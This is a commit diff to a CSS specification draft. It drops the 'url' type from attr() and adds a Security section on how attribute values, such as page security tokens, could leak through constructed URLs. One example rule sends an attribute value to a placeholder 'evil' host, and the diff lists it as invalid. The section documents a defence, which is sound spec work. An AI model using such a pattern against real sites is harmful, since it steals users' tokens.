You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<dfn><attr-type></dfn> = string | url | ident | color | number | percentage |
902
+
<dfn><attr-type></dfn> = string | ident | color | number | percentage |
903
903
length | angle | time | frequency | flex | <<dimension-unit>>
904
904
</pre>
905
905
@@ -983,16 +983,6 @@ Ian's proposal:
983
983
984
984
No value triggers fallback.
985
985
986
-
: <dfn>url</dfn>
987
-
:: The [=substitution value=] is a CSS <<url>> value,
988
-
whose url is the literal value of the attribute.
989
-
(No CSS parsing or "cleanup" of the value is performed.)
990
-
991
-
Note: If ''url()'' was syntactically capable of containing functions,
992
-
''attr(foo url)'' would be identical to ''url(attr(foo string))''.
993
-
994
-
No value triggers fallback.
995
-
996
986
: <dfn>ident</dfn>
997
987
:: The [=substitution value=] is a CSS <<custom-ident>>,
998
988
whose value is the literal value of the attribute,
@@ -1122,6 +1112,55 @@ Ian's proposal:
1122
1112
3. Otherwise, the property containing the ''attr()'' function
1123
1113
is [=invalid at computed-value time=].
1124
1114
1115
+
1116
+
<h4 id=attr-security>
1117
+
Security</h4>
1118
+
1119
+
An ''attr()'' function can reference attributes
1120
+
that were never intended by the page to be used for styling,
1121
+
and might contain sensitive information
1122
+
(for example, a security token used by scripts on the page).
1123
+
1124
+
In general, this is fine.
1125
+
It is difficult to use ''attr()'' to extract information from a page
1126
+
and send it to a hostile party,
1127
+
in most circumstances.
1128
+
The exception to this is URLs.
1129
+
If a URL can be constructed with the value of an arbitrary attribute,
1130
+
purely from CSS,
1131
+
it can easily send any information stored in attributes
1132
+
to a hostile party,
1133
+
if 3rd-party CSS is allowed at all.
1134
+
1135
+
For this reason,
1136
+
''attr()'' does not have a <css>url</css> type.
1137
+
Additionally, ''attr()'' is not allowed to be used
1138
+
in any <<url>> value,
1139
+
whether directly or indirectly.
1140
+
Doing so makes the property it's used in invalid.
1141
+
1142
+
<div class=example>
1143
+
For example,
1144
+
all of the following are invalid:
1145
+
1146
+
* ''background-image: src(attr(foo));'' - can't use it directly.
1147
+
* ''background-image: image(attr(foo))'' - can't use it in other <<url>>-taking functions.
1148
+
* ''background-image: src(string("http://example.com/evil?token=" attr(foo)))'' - can't "launder" it thru another function.
1149
+
* ''--foo: attr(foo); background-image(src(var(--foo)))'' (assuming that ''--foo'' is a [=registered custom property=] with string syntax) - can't launder the value thru another property, either.
1150
+
</div>
1151
+
1152
+
Note: Implementing this restriction
1153
+
requires tracking a dirty bit
1154
+
on values constructed from ''attr()'' values,
1155
+
since they can be fully resolved into a string
1156
+
via [=registered custom properties=],
1157
+
so you can't rely on just examining the value expression.
0 commit comments